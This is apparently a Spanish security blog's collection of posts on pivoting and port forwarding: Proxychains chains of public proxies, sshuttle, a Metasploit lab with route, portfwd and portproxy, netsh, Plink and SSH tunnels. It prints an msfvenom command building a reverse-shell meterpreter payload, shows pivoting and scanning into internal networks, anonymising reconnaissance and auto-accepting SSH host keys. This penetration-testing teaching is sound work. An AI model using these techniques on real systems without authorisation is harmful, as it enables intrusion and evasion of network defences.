Páginas

Mostrando entradas con la etiqueta Port Forwarding. Mostrar todas las entradas
Mostrando entradas con la etiqueta Port Forwarding. Mostrar todas las entradas

29 junio, 2020

Pivoting entre proxys encadenados con Proxychains

Proxychains es una herramienta que actúa como un servidor proxy soportando conexiones TCP en protocolos HTTP, HTTPS, SOCKS4 y SOCKS5. Su principal característica es el encadenamiento de servidores proxy configurados y como redirige estas peticiones de uno a otro.

En una fase de reconocimiento y enumeración hacía un sitio web, dependiendo el caso, intentamos mantener un cierto grado de anonimato ocultando nuestra dirección IP pública. Para ello usamos servidores Proxy o VPN Proxy o VPN siendo estas más fiables, prácticas y con un mayor nivel de garantía.

El uso de Proxychains nos permite configurar varios servidores proxy e ir reenviando de uno a otro de forma secuencial las peticiones que realicemos usando una segunda herramienta que no tenga capacidad para realizar esta tarea y así convertirla en anónima como pueden ser el uso de Nmap, SSH, un navegador web, etc.
proxychains <aplicación> <argumento>
proxychains firefox http://ifconfig.me
Existen multitud de sitios web donde podemos encontrar servidores proxy abiertos, para realizar las siguientes pruebas de forma rápida son los que usaré, lo ideal sería usar diferentes máquinas que nosotros montemos y conozcamos en distintos hostings, configurar un servidor proxy con usuario y password y hacer uso de estas IPs y puertos.

hidemy.name

Es un sitio web en el que encontramos una gran lista que suele estar actualizada de servidores proxy públicos.

Proxy List - https://hidemy.name
Figura 1: Proxy list en https://hidemy.name.

Podemos instalar Proxychains desde los repositorios, en Kali ya viene incluido en su suite de herramientas. Algunas de las opciones disponibles a configurar en su fichero de configuración /etc/proxychains.conf.
  • quiet_mode: Si está descomentada indicaría un modo verbose activado.
  • proxy_dns: Todas las peticiones DNS también saldrán por el proxy, es importante para conservar el anonimato, si la petición DNS va por nuestra IP y el tráfico por la IP del proxy podría llegar a encontrarse una correlación en los logs del servidor remoto.
Se encadenan en el mismo orden en el que se define la lista. Un ejemplo de la sintaxis de configuración sería.
<tipo> <IP> <puerto> <usuario> <password>
socks4 192.168.40.30 1080 user pass
En el caso de que el servidor proxy sea público y por lo general no contenga un usuario y contraseña se omitiría.

En el apartado de ProxyList definimos la lista de servidores proxy. Por defecto Proxychains hace uso de Tor. En el siguiente escenario se usarán servidores proxy de la lista anterior de hidemy.name

proxy socks4 público en proxychains
Figura 2: Estableciendo un tipo de proxy socks4 público en proxychains.

En la siguiente captura se muestra el resultado de una petición curl a la web https://ifconfig.me/ip que nos dará como resultado nuestra dirección IP pública sin proxychains. Usando proxychains vemos como la dirección IP pública es el servidor proxy configurado en proxychains, siendo este quién realiza la petición al sitio web.
proxychains curl https://ifconfig.me/ip
IP del proxy al visitar ifconfig.me
Figura 3: Comprobando la IP del proxy al visitar ifconfig.me.

Ahora añadiremos dos servidores proxy al fichero de configuración de proxychains. Si realizamos la misma petición con curl usando proxychains vemos como la petición se reenvía de uno a otro en el mismo orden establecido en el fichero de configuración. Para el sitio ifconfig.me será último servidor proxy quién realizó la solicitud y será el que se registre en log de acceso del servidor web.

Encadenando varios proxys en proxychains
Figura 4: Encadenando varios proxy con proxychains.

Pivoting entre redes internas con Proxychains

Proxychains también nos ayuda en la evasión de firewalls entre las comunicaciones en redes locales internas.

En el siguiente escenario el equipo de la Red A no tiene visibilidad con el equipo de la Red B pero existe un equipo intermedio que tiene visibilidad con ambas redes y que el equipo de la Red B solo aceptará peticiones que provengan de ese equipo intermedio.

Si queremos realizar un escaneo de puertos con nmap desde el equipo de la Red A al equipo de la Red B en una conexión directa no podríamos por una cuestión de visibilidad en la segmentación de redes internas locales. Sin embargo si tenemos acceso al equipo intermedio que si está autorizado para poder comunicarse con el equipo de la Red B.   

Figura 5: Pivoting hacia otra red interna con Proxychains.

Podríamos conectarnos al equipo intermedio y usar namp desde ese equipo, pero no queremos interferir instalando paquetes ni tampoco tenemos permisos suficientes para realizar instalaciones.

En estos casos lo mejor sería establecer una conexión tunelizada ejecutándose en background habilitando un reenvío de puerto dinámico (port forwarding dynamic).
ssh -NfD 1280 adrian@10.0.0.40
  • -N: No ejecuta un comando remoto (útil solo para reenviar puertos)
  • -f: Se ejecuta en segundo plano 
  • -D: Reenvío local de un puerto dinámico
Estableciendo tunel ssh port forwarding dynamic
Figura 6: Estableciendo tunel ssh port forwarding dynamic.

Configuramos proxychains para usar el puerto local 1280 que reenviará la petición al equipo intermedio y este a su vez al equipo de la Red B. En la siguiente captura vemos como usando simplemente nmap no llegamos al equipo de la Red B pero a través de proxychains somos capaces de escanear un servicio web disponible en el puerto 80.
proxychains nmap -sS 10.0.0.16 -p80
Pivoting entre redes locales internas con Proxychains
Figura 7: Pivoting entre redes locales internas con Proxychains.

Saludos!

02 abril, 2020

sshuttle: Múltiples túneles SSH y "VPN" (Proxy transparente)

sshuttle. Se trata de un cliente SSH desarrollado en pyhton que actúa como un proxy transparente funcionando como una "VPN". No se trata de una VPN como definición, sshuttle crea de forma automática distintas reglas usando pfctl (pf - Packet Filter) o en su defecto iptables para un múltiple reenvío de puertos a través de una conexión tunelizada vía SSH.

Ya comentara las diferencias entre los distintos tipos de túneles SSH. Esta aplicación nos abstrae de los detalles de realizar manualmente cada reenvío -port forwarding- a cada IP/Puerto hacia la red remota a la que queremos acceder.

La funcionalidad es como si realmente estuviéramos utilizando una VPN pero canalizada por una única conexión SSH a través de un host de la red remota que hará de equipo puente realizando múltiples túneles de reenvío. Su principal desarrollador Brian May, la define como "la VPN para el hombre pobre".

Soporta tunelización de DNS redireccionando todo el tráfico DNS local a través de la conexión SSH al host remoto, como si estuviéramos utilizando las direcciones DNS de la red remota. Por lo que toda la navegación es como si la hiciésemos a través de la red remota a la que nos conectamos, algo similar a un -dynamic port forwarding- o Proxy SOCKS

Si nos conectamos en un red wifi abierta o pública y queremos estar más seguros navegando y/o acceder a recursos internos de nuestra red doméstica sin necesidad de implementar o alquilar servicio VPN externo de terceros, esta aplicación es una muy buena solución.

Es compatible con Linux y MacOS (Windows con cygwin instalado).

Instalar sshuttle

git clone https://github.com/sshuttle/sshuttle.git
cd sshuttle
sudo ./setup.py install
En mi caso dispongo de una  RaspberryPi con el servicio SSH expuesto a Internet en un puerto no estándar.

Uso de sshuttle

sshuttle [-l [ip:]port] [-r [user@]sshserver[:port]] <subnets...>
sshuttle -v --dns -r USUARIO@IP:PUERTO 192.168.0.0/24
La opción --dns indica el tunelizado de tráfico DNS. 

En el caso de MacOS usa reglas de filtrado de redirección con pf (pfctl). Ejemplo de autenticación con clave pública.
MacOS:~ adrian$ sshuttle -v --dns -r USER@IP/DNS:PORT 10.0.0.0/24
Starting sshuttle proxy.
firewall manager: Starting firewall with Python version 2.7.16
firewall manager: ready method name pf.
IPv6 enabled: True
UDP enabled: False
DNS enabled: True
User enabled: False
TCP redirector listening on ('::1', 12300, 0, 0).
TCP redirector listening on ('127.0.0.1', 12300).
DNS listening on ('::1', 12299, 0, 0).
DNS listening on ('127.0.0.1', 12299).
Starting client with Python version 2.7.16
c : connecting to server...
Starting server with Python version 3.6.9
 s: latency control setting = True
 s: auto-nets:False
c : Connected.
firewall manager: setting up.
>> pfctl -s Interfaces -i lo -v
>> pfctl -s all
>> pfctl -a sshuttle6-12300 -f /dev/stdin
>> pfctl -E
>> pfctl -s Interfaces -i lo -v
>> pfctl -s all
>> pfctl -a sshuttle-12300 -f /dev/stdin
>> pfctl -E
c : DNS request from ('10.0.0.16', 51556) to None: 31 bytes

En el caso de Ubuntu usa reglas de filtrado de redirección con iptables. Ejemplo de autenticación con password.
adrian@ubuntu:~$ sshuttle -v --dns -r USER@DNS/IP:PORT 10.0.0.0/24
Starting sshuttle proxy.
firewall manager: Starting firewall with Python version 3.6.9
firewall manager: ready method name nat.
IPv6 enabled: False
UDP enabled: False
DNS enabled: True
TCP redirector listening on ('127.0.0.1', 12300).
DNS listening on ('127.0.0.1', 12300).
Starting client with Python version 3.6.9
c : connecting to server...
USER@DNS/IP's password:
Starting server with Python version 2.7.17
 s: latency control setting = True
 s: available routes:
c : Connected.
 s:   2/10.0.0.0/24
 s:   2/172.17.0.0/16
 s:   2/172.18.0.0/16
firewall manager: setting up.
>> iptables -t nat -N sshuttle-12300
>> iptables -t nat -F sshuttle-12300
>> iptables -t nat -I OUTPUT 1 -j sshuttle-12300
>> iptables -t nat -I PREROUTING 1 -j sshuttle-12300
>> iptables -t nat -A sshuttle-12300 -j RETURN --dest 127.0.0.1/32 -p tcp
>> iptables -t nat -A sshuttle-12300 -j REDIRECT --dest 10.0.0.0/24 -p tcp --to-ports 12300 -m ttl ! --ttl 42
>> iptables -t nat -A sshuttle-12300 -j REDIRECT --dest 127.0.0.53/32 -p udp --dport 53 --to-ports 12300 -m ttl ! --ttl 42
En el caso de Windows se complica el uso de esta herramienta.

Se propone instalar una máquina virtual Linux en modo puente que haga la conexión con sshuttle y desde la máquina anfitrión Windows enrutar todo el tráfico hacia la máquina Linux.

Info: https://sshuttle.readthedocs.io/en/stable/windows.html

Saludos!

07 enero, 2020

Pivoting con Metasploit: route, portfwd y portproxy

En las primeras fases de escaneo de un pentesting debemos intentar recopilar la mayor cantidad de información posible sobre las redes internas disponibles en la empresa. Muchas organizaciones dividen sus departamentos en segmentos de red o redes locales virtuales (VLANs), donde se alojan determinadas máquinas, en muchos casos los equipos que forman parte de una red tienen configuradas varias interfaces ya sean físicas o lógicas hacia estas otras redes. En este tipo de circunstancias podemos aprovecharnos de esto para pivotar entre equipos de distintas redes y poder encontrar uno o varios equipos ya sean clientes o servidores con posibles vulnerabilidades explotables.

Para poner en práctica estas técnicas realizaremos un taller completo en el que mostraremos dos escenarios muy similares: lab 1 y lab 2, con el fin de que se vea el concepto de pivoting entre máquinas que formen parte de otras redes distintas en las que desde un principio no tendríamos una visibilidad directa hacia ellas desde la máquina en la que realizamos la auditoría del test de intrusión. El nivel de pivoting de estos escenarios será simple, de un solo salto, entre una máquina comprometida a otra. Dependiendo la topología de red de la organización se podría complicar más, con más saltos entre máquinas para ir descubriendo las posibles redes internas existentes, pero la finalidad, el concepto y las técnicas de pivoting seguirían siendo las mismas.

Diagrama de red: Lab 1 - route y portfwd

En el siguiente escenario se mostrará un entorno formado por tres máquinas:
  • Kali: 10.0.0.1/24. (Máquina A)
  • Ubuntu: 10.0.0.10/24 y 11.0.0.1/24. (Máquina B)
  • Linux (Apache http): 11.0.0.10/24. (Máquina C)
Figura 1: Escenario 1 de Pivoting, diagrama de redes (route y portfwd).

Adjunto unas capturas simplemente para mostrar de forma más clara el escenario.

La máquina Kali con Metasploit Framework será desde donde realizaremos la intrusión. Tiene dos interfaces de red, una en modo NAT (eth1 simplemente para tener salida a Internet) y eth0 con la IP asignada 10.0.0.1 que forma parte de la red 10.0.0.0/24. Esta máquina no tiene visibilidad directa con la segunda red 11.0.0.0/24.

Figura 2: Configuración de red - Máquina Kali

La máquina Ubuntu tiene dos interfaces la cual tiene visibilidad con la red 10.0.0.0/24 y 11.0.0.0/24 será el pivoting y la segunda máquina Linux con una sola interface con la ip asignada 11.0.0.10 que tendrá visibilidad para la red 11.0.0.0.0/24, esta será una posible máquina vulnerable ya que dispondrá de un servicio web Apache a la que tendremos que intentar llegar desde la máquina Kali.

Figura 3: Configuración de red - Máquinas Ubuntu y Linux.

Establecer una sesión Meterpreter en la máquina Ubuntu (pivoting)

El funcionamiento de los tipos de pivoting dentro de las posibilidades que nos ofrece Metasploit Framework debemos partir de la obtención de una sesión Meterpreter en uno de los equipos de la red, en este caso será el Ubuntu en el cual tiene visibilidad con las dos redes dentro de este laboratorio, esta será la máquina que nos hará de pivoting a las redes que tenga configuradas.

Para este escenario podemos generar con msfvenom un payload en el que su shellcode será un meterpreter linux y ejecutarlo en la máquina remota para obtener dicha sesión.
msfvenom -p Linux/x86/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f elf -b '\x00\x0a\x0d' -o payload
-b '\x00\x0a\x0d': (--bad-chars) Parámetro en el que se le puede especificar una lista de caracteres a evitar, de modo que no provoque un posible error en el momento de ejecutar el payload. En este caso estos opcodes serían válidos.

Figura 4: Generar payload para obtener una sesión meterpreter en la máquina Ubuntu (pivoting).

Una vez ejecutado el payload en la máquina Ubuntu, vemos como se creó una nueva sesión con un meterpreter de conexión inversa en el puerto 4444 hacia la máquina Kali.

Figura 5: Sesión con meterpreter establecida entre las máquinas Ubuntu y Kali.

Route

Una vez tenemos una sesión establecida con la máquina Ubuntu, iniciamos el meterpreter y una forma de comprobar las redes asociadas es listar las interfaces de red con ipconfig para comprobar si existe alguna dirección IP asignada que forme parte de otro segmento de red distinto. También podríamos ejecutar una shell dentro de meterpreter y consultar la tabla de rutas con el comando route print.

Como vemos se muestra la red 10.0.0.0/24 en la interface 2 y la 11.0.0.0/24 en la interface 3.

Figura 6: Comprobando si existen más redes asociadas en la máquina Ubuntu.

Route es un comando que nos permitirá encaminar tráfico de red dentro de Metasploit, diciéndole que desde cualquier módulo todo el tráfico que queramos llevar hacia otra red lo haga a través del identificador de una sesión establecida que tengamos activa, por ejemplo con un Meterpreter.

Salimos de la sesión de meterpreter y la dejamos en segundo plano saliendo con el comando background. Fuera de meterpreter y sabiendo que la máquina Ubuntu tiene dos redes configuradas, hacemos uso del comando route para añadir la visibilidad de esta nueva red a nivel de Metasploit.
route add <network> <netmask> <session_id>
route add 11.0.0.0 255.255.255.0 1
Con esto le estaremos diciendo que todo el tráfico que se produzca dentro de Metasploit con destino a la red 11.0.0.0/24 lo enrute a través de la sesión con ID 1 donde está el meterpreter. Con route print dentro de Metasploit podemos ver las rutas asignadas y con route -h veremos la ayuda completa.

Figura 7: Añadiendo nuevas rutas con route en Metasploit.

De esta forma ya podremos pivotar a través de la máquina Ubuntu a la red 11.0.0.0/24 realizando un escaneo completo hacia esa red.

En el siguiente ejemplo y para ahorrar tiempo en esta demo delimitaremos un pool de direcciones IP de la red 11.0.0.0/24 comprobando únicamente el puerto 80. Vemos que encontramos una dirección 10.0.0.10 que tiene el puerto 80 abierto.

En un descubrimiento habitual podríamos usar el módulo "auxiliary/scanner/discovery/arp_sweep" para encontrar hosts activos en la red local a través de solicitudes arp y también "auxiliary/scanner/portscan/ack" para comprobar que puertos se están filtrado.

Figura 8: Pivotando para descubrir nuevos hosts y puertos de otra red a través de Metasploit.

Con lo anterior ya se demostró que podemos realizar un sondeo y tener acceso a redes pivotando a través de la máquina Ubuntu donde tenemos la sesión meterpreter hacia una máquina Linux con la ip 11.0.0.10.

Ya hemos descubierto que el puerto 80 está abierto por lo que es probable que se trate de un servicio web, podemos ahora comprobar la versión de ese servicio http a través del módulo "auxiliary/scanner/http/http_version". A partir de ahí podríamos buscar en Internet si existe alguna vulnerabilidad conocida y explotable para versión y continuar el test de intrusión.

Figura 9: Reconocimiento de versión de servicios web.

Autoroute (Módulo post)

Otra forma de establecer rutas es hacerlo de forma automática. Una vez que tenemos una sesión establecida podemos hacer uso del módulo "post/multi/manage/autoroute", establecemos el ID de sesión y lo ejecutamos.

Esto hará un barrido en el equipo donde tenemos establecida la sesión para intentar reconocer otras redes asociadas a esa máquina y las agregará automáticamente a nuestra tabla de rutas de Metasploit. Es lo mismo que lo comentado anteriormente pero de forma automática sin necesidad de consultar manualmente a través de meterpreter las tablas de rutas asociadas a la máquina comprometida.

Figura 10: Usando el módulo de Autoroute para agregar rutas automáticamente en Metasploit.

portfwd (Port Forwarding)

portfwd realiza un reenvío de puertos -port forwarding- entre máquinas. Podemos canalizar todo el tráfico que enviamos a un puerto local a la escucha de nuestra máquina A a un puerto e IP de una máquina C en la que no tenemos a priori conectividad, configurando esta IP y puerto de reenvío en una máquina B en la que si tenemos una conectividad directa.

Una ventaja de esto es que todas las peticiones que hagamos al puerto local de la máquina A esta las reenviará a la máquina C pasando por la máquina B, si analizamos el tráfico desde la máquina C veremos que esas peticiones llegan desde la máquina B y no desde la máquina A que inicialmente origina las peticiones. Como esto en un primer momento puede resultar un poco confuso mostraremos un ejemplo.

Basándonos en el mismo escenario visito hasta ahora lab 1. Desde la máquina Kali (máquina A) nos intentamos conectar a la máquina Linux al puerto 22 (máquina C), que sabemos que está abierto, y vemos que no podemos conectarnos directamente ya que desde la máquina Kali no tenemos visibilidad hacia la red 11.0.0.0/24.

Sin embargo desde la sesión 1 donde tenemos nuestro meterpreter de la máquina Ubuntu (máquina B) esta si tiene visibilidad con la red 11.0.0.0/24 donde está máquina Linux (máquina C).

Desde el meterpreter de la sesión 1 agregamos una nueva regla de reenvío de puertos.
portfwd add -l <local_port> -p <remote_port> -r <remote_host>
portfwd add -l 9500 -p 22 -r 11.0.0.10
Con esto indicamos que todas las peticiones que hagamos al puerto local de la máquina A Kali sen reenviadas al puerto 22 de la ip 11.0.0.10 que será la máquina C Linux. Siendo la máquina B Ubuntu quien haga el reenvío de puertos entre la máquina A y C. De ahí que todo el tráfico que llegue a la máquina C Linux es como si lo realizase la máquina B Ubuntu cuando en realidad lo envía la máquina A Kali.

Comprobando nuevamente el intento de conexión vemos como ahora desde Metasploit Framework como desde la propia máquina local Kali podemos llegar a la máquina C Linux estableciendo una conexión localhost hacia le puerto local a la escucha.

Si listamos los puertos a la escucha de la máquina local vemos como fuera del MSF tenemos el puerto 9500 a la escucha. Esto puede ser útil en los casos en los que necesitemos utilizar servicios web u otras herramientas fuera de Metasploit para poder escanear, vulnerar o realizar acciones hacia una máquina remota en la que no tendríamos un acceso directo pero si conocemos su IP y puerto y tenemos una máquina que usaremos de pivoting en medio de la comunicación para realizar los reenvíos de puertos. Tener en cuenta que podemos agregar más de una regla port forwarding.

Figura 11: portfwd - Uso de port forwarding fuera de Metasploit, usando una sesión meterpreter para reenvío de peticiones.

La forma de usar módulos dentro de Metasploit con reglas configuradas de reenvío de puertos es solamente por medio de conexiones locales (ip y puerto local).

En el siguiente ejemplo se muestran dos reglas port forwarding establecidas en la sesión 1 (máquina B Ubuntu), la segunda regla indica que las peticiones que se realicen hacia el puerto 9000 desde cualquier interface de la máquina Kali A se reenvíen a través de la sesión 2 (máquina B Ubuntu) hacia la IP destino 11.0.0.10 puerto 80 que será la máquina C Linux.

RHOST: será la dirección local de la máquina A Kali, ip 127.0.0.1 (y no la ip 11.0.0.10 de la máquina destino C Linux).
PORTS: será el puerto local a la escucha en la máquina A Kali, puerto 9000 (y no el puerto 80 de la máquina destino C Linux).

Vemos como nos indica que el puerto 9000 de la ip 127.0.0.1 está Open. Esto significa que la regla de reenvío funcionó y que realmente esa IP/Puerto local corresponderían a la IP/Puerto destino configurado en la regla del portfwd.

Fuera de Metasploit podemos consultar los puertos a la escucha con netstat y comprobar que tanto el puerto 9500, visto en el ejemplo anterior, como el puerto 9000 están a la escucha por un proceso ruby que sería Metasploit.

Figura 12: portfwd - Usando port forwarding a través de módulos en Metasploit.

¿Diferencias entre route y portfwd en Metasploit?

Route y Autoroute
  • Es necesario tener una sesión establecida.
  • Agrega direcciones de red completas indicando su notación CIDR.
  • Las tablas de rutas solo se agregan a nivel funcional de Metasploit Framework.
  • Dentro de Metasploit se pueden usar todos los módulos de forma directa hacia las redes agregadas.
  • Con el módulo post Autorute se pueden descubrir y agregar rutas de red de forma automática de una sesión previamente establecida.
portfwd
  • Es necesario tener una sesión establecida.
  • No pueden agregar direcciones completas de red, solo se crean reglas de port forwarding hacía una IP/Puerto específico.
  • Se pueden usar otras herramientas fuera de Metasploit a nivel local de la propia máquina Kali IP/Puerto locales estarán a la escucha.
  • Dentro de Metasploit se pueden usar módulos hacia la IP/Puerto de la regla creada, la IP/Puerto será interpretado de forma local desde la propia máquina Kali.

PortProxy (Windows)

El uso del módulo post PortProxy de Metasploit en el que podemos realizar un port forwarding dirigido a una máquina y puerto remoto concretos pero esta vez a nivel de máquinas Windows. El funcionamiento es muy similar al comando portfwd de Metasploit.

Este módulo hace uso del comando netsh con el parámetro portproxy, para usar este comando es necesario que el usuario tenga privilegios administrativos sobre el sistema. Más info: https://www.zonasystem.com/2019/02/netsh-portproxy-port-forwarding-local-windows.html.

Diagrama de red: Lab 2 - PortProxy

Similar al ejemplo del lab 1, en el siguiente escenario se mostrará un entorno formado por tres máquinas:
  • Kali: 10.0.0.1/24. (Máquina A)
  • Windows 7: 10.0.0.7/24 y 11.0.0.7/24. (Máquina B)
  • Windows 10: 11.0.0.10/24. (Máquina C)
Figura 13: Escenario 2 de Pivoting, diagrama de redes (portproxy).

Para el uso de este módulo será necesario establecer una sesión Meterpreter y tener privilegios de SYSTEM sobre esa sesión en una máquina Windows que tenga acceso a otras redes fuera de Metasploit (máquina B Windows 7). Listaremos las redes disponibles consultando la tabla de rutas de la máquina en la que tenemos establecida la sesión con el comando route o también con ipconfig.

Figura 14: Listando tabla de rutas de red disponibles en una máquina Windows dentro de una sesión Meterpreter.

En la máquina B Windows 10 vemos que pertenece a la red 11.0.0.0/24 y ofrece un servicio web por el puerto 80.

Figura 15: Configuración de red y servicio web disponible en la máquina B (Windows 10).

Desde la máquina B en la cual tenemos un sesión Meterpreter establecida configuramos el módulo portproxy para esa sesión.
use post/windows/manage/portproxy
  • CONNECT_ADDRESS: IP remota de la máquina C a la que queremos acceder desde la máquina B.
  • CONNECT_PORT: Puerto remoto de la máquina C al que queremos acceder desde la máquina B.
  • LOCAL_ADDRESS: IP local de la máquina B (0.0.0.0 sería válido para cualquier interface local, desde la cual tenemos acceso por red desde la máquina A) y que esta reenviará a la máquina C.
  • LOCAL_PORT: Puerto local de la máquina B desde el cual se hará la petición a la máquina C. Desde la máquina A haremos la petición al IP/Puerto de la máquina B en la cual si tenemos acceso.
Una vez configurado el módulo lo lanzamos y comprobamos que en este caso consultando la IP en la que si tenemos acceso a la B máquina 10.0.0.7 hacia el puerto 4441 nos devuelve la web de la maquina C.

Desde la máquina C las peticiones de red hacia este servicio web se visualizan como si las realizase la máquina B y no la máquina A que es realmente desde donde lanzamos inicialmente la petición.

Figura 16: Uso del módulo portproxy para sesiones Windows en Metasploit.

De forma subyacente lo que hace este módulo es incluir esta regla de reenvío en la máquina B que es la que hará pivoting a la máquina C desde las peticiones que reciba desde la máquina A.

Podemos comprobarlo listando las reglas y un ejemplo de la parametrización de reenvío sería algo como:
netsh interface portproxy show all

netsh interface portproxy add <tipo_de_forwading> listenaddress=<ip_local_escucha> listenport=<puerto_local_escucha> connectaddress=<ip_remota> connectport=<puerto_remoto>  

netsh interface portproxy add v4tov4 listenaddress=11.0.0.10 listenport=80 connectaddress=0.0.0.0 connectport=4441

Mismo ejemplo con: portfwd

Podemos comprobar también el mismo efecto usando el comando portfwd interno de Meterpreter estableciéndolo en la sesión de la máquina B como vimos anteriormente en el Lab 1.

Al tratarse de una regla a nivel de la máquina A, reenviando la petición por la sesión de Metasploit que corresponde a la máquina B la consulta sería desde localhost de la máquina A al puerto que estableciésemos en este caso el 9001.

Figura 17: Ejemplo Lab 2 con portfwd.

Mismo ejemplo con: route

Comprobamos el mismo uso con route. El cual lo podríamos usar para realizar fingerprinting a la máquina C a través de módulos tipo scanner.

Añadimos la ruta de red desde Metasploit (máquina A) y esta se encaminará a través de la sesión de la máquina B. Realizamos por ejemplo un escaneo de puertos abiertos y comprobación de versión del servicio web.

Figura 18: Ejemplo Lab 2 con route.

Saludos!

24 febrero, 2019

NETSH portproxy: Port forwarding local en Windows

Un método para crear túneles haciendo un reenvío de puertos usando un sistema Windows es el uso de la utilidad de comandos NETSH. Para hacer uso de este comando es necesario tener privilegios administrativos sobre la máquina.

Netsh tiene una propiedad llamada portproxy la cual actua como un proxy en las redes y aplicaciones IPv4 e IPv6.

Mostraré un ejemplo que podría ser típico, se trata de un reenvío de puertos local con el fin de establecer una conexión de Escritorio Remoto (RDP) entre dos máquinas Windows.

Si se trata de un reenvío de puertos entre redes IPv4 la sintaxis sería:
netsh interface portproxy add v4tov4 listenport=<Puerto-Local> listenaddress=<IP-Local> connectport=<Puerto-Remoto> connectaddress=<IP-Remota>
En siguiente ejemplo se reenvía desde la máquina local y puerto local de escucha 9090 a la máquina remota 10.0.0.19 y puerto remoto al que nos conectaremos 3389.
netsh interface portproxy add v4tov4 listenport=9090 listenaddress=localhost connectport=3389 connectaddress=10.0.0.19
  • listenport: Puerto IPv4 local en el que se escucha.
  • connectaddress: Dirección IPv4 local a la que conectarse.
  • connectport: Puerto IPv4 remoto al que conectarse.
  • listenaddress: Dirección IPv4 remota en la que se escucha.
Figura 1: Reenvío de puertos con Netsh estableciendo una conexión RDP entre dos máquinas Windows.

Para comprobar las reglas añadidas de reenvío de puertos con Netsh porproxy podemos consultar la tabla de reglas.
netsh interface portproxy show v4tov4  #Lista reglas en redes IPv4.
netsh interface portproxy show all     #Lista todas las reglas.
Para "romper" la conexión o eliminar las reglas establecidas.
netsh interface portproxy delete v4tov4 listenport=9090 listenaddress=localhost
Figura 2: Comprobar reglas añadidas y puertos de Netsh portproxy en una conexión RDP y eliminar reglas.

Saludos!

16 febrero, 2019

Plink SSH: Auto aceptar hostkey fingerprint al crear un túnel local port forwarding en SSH versión 2

Hostkey o fingerprint SSH

Cuando nos conectamos a través de un cliente SSH como PuTTY, por primera vez en una conexión se nos mostrará una alerta de seguridad indicando que el host key no está cacheado en el registro, no es más que la huella digital o fingerprint de la máquina remota a la que nos conectamos usado como método de confianza para garantizar la autenticidad de la máquina remota.

Esta host key al no estar registrada o cacheada por la máquina cliente que establece la conexión por primera vez, nos alerta de que no hay garantía de que el servidor remoto sea quien creemos que es.

ssh:ed25519 se trata de un esquema de firma digital EdDSA. Manteniendo la seguridad de otros esquemas con la principal ventaja de aportar más velocidad, más info aquí.

Figura 1: Alerta de seguridad - Host key de la primera conexión SSH.

Usando PuTTY las SSH host keys se cachean almacenándose en el registro de Windows.
HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\SshHostKeys
En un tipo de valor de cadena (REG_SZ).

Figura 2: Registro Windows - SSH Host Keys de Putty.

Conexión SSH con Plink

Comentado lo anterior, vamos a ver entonces con Plink (utlidad de comandos de Putty) como podemos conectarnos por SSH estableciendo un túnel port forwarding auto aceptando el hostkey.

Pero que pasa si no tenemos una interfaz gráfica ni un Putty y solo disponemos de una terminal de comandos en la que podemos incorporar un Plink.

Cuando nos conectamos directamente al servidor SSH con Plink lo hacemos del siguiente modo.
plink <host_servidor_SSH>
De esta forma nos solicitará almacenar o no la hostkey en caché, sería la equivalencia a la ventana de alerta de seguridad de la hostkey que se muestran en las conexiones con Putty. Continuamos (y yes) almacenando la clave, nos pedirá usuario y contraseña. Y vemos que nos conecta al servidor remoto correctamente (independientemente de la mala interpretación en la codificación de caracteres).

Figura 3: Conexión estándar SSH con Plink (Putty).

Creando un túnel SSH port forwarding con Plink

Con Plink al igual que con Putty podemos crear un túnel SSH.
plink.exe -L <puerto_local>:<host_remoto>:<puerto_remoto> -P 22 -pw <password> <usuario>@<host_server_SSH>
De esta forma simplemente aceptaremos el cacheo de hostkey y tendremos el reenvío de puertos establecido en la conexión SSH.

Figura 4: Conexión túnel SSH port forwarding con Plink (Putty).

Hay un tip un poco "sucio" que es auto aceptar la host key con: "echo y | plink...". Quedando algo como esto.
echo y | plink.exe -L <puerto_local>:<host_remoto>:<puerto_remoto> -P 22 -pw <password> <usuario>@<host_server_SSH>
Figura 5: Auto aceptando hostkey ssh con "echo y | plink..."

Auto aceptar hostkey con Plink creando un túnel SSH port forwarding

Hasta aquí todo correcto. El problema de esto es si queremos conectarnos con un reenvío de puertos forzando una versión particular del protocolo SSH con plink, hay que especificar los parámetros: -ssh -2 (la versión SSH).

De este modo al intentar conectarnos por SSH estableciendo el reenvío de puertos para crear el túnel SSH. Y no tenemos la hostkey inicialmente cacheada en la máquina cliente, nos encontraremos con el siguiente problema.
Connection abandoned.
Disconected: Aborted at host key verification.
Conectándose de este modo, forzando la versión 2 del protocolo SSH, no aparece la solicitud y/n (si o no) para cachear la host key y directamente aborta la conexión.

Figura 6: Intento de conexión abortada con Plink especificando la versión 2 del protocolo SSH.

Aquí el truco sucio de "echo y | plink..." no funciona.

La única forma de auto aceptar el host key de una conexión con plink forzando a la versión 2 del protocolo SSH y que tenga establecido un port forwarding para el uso de un túnel SSH. Sería especificar el parámetro -hostkey seguido del fingerprint correspondiente.

La hostkey la podemos ver en una primera conexión, aunque esta no se establezca abortándose, igualmente se nos mostrará el fingerprint del host remoto correspondiente al servidor SSH.
plink.exe -ssh -2 -batch -v -L <puerto_local>:<host_remoto>:<puerto_remoto> -P <puerto_ssh> -pw <password> <usuario>@<servidor_remoto_ssh> -hostkey <hostkey_fingerprint>
Se especifica la host key correspondiente al servidor remoto SSH y vemos como la conexión se establece automáticamente.

Figura 7: Especificar la hostkey del servidor SSH cuando esta aún no está cacheada en el equipo cliente.

Probamos a conectarnos a través del túnel SSH creado. En este ejemplo era un reenvío de puertos del tipo local para una conexión RDP de Escritorio remoto.

Figura 8: Conexión RDP tunelizado por SSH.

Conexión establecida por RDP a través del tunelizado SSH. En una primera instancia auto aceptando la hostkey del servidor SSH cuando esta aún no está cacheada en la máquina cliente.

Figura 9: Conexión tunelizada por SSH - Conexión RDP establecida.

Saludos!

30 enero, 2019

Túnel SSH Port Forwarding: Local, Remote y Dynamic [Explicado]

¿Qué es SSH?

ssh-tunnelingSSH (Secure Shell) es un protocolo de comunicaciones seguras entre dos sistemas usando una arquitectura cliente/servidor que permite a los usuarios conectarse a un host remotamente para su posterior administración. A diferencia de otros protocolos de comunicación remota como FTP o Telnet (Telecommunication Network), SSH cifra la sesión de conexión y la comunicación ofreciendo también una infraestructura de autenticación PKI (Public Key Infrastructure) para la conexión con el host remoto.

Para poder establecer una conexión a un host que tenga implementado el rol de servidor SSH es necesario disponer de un cliente SSH. El puerto por defecto de escucha del servicio SSH es el 22.

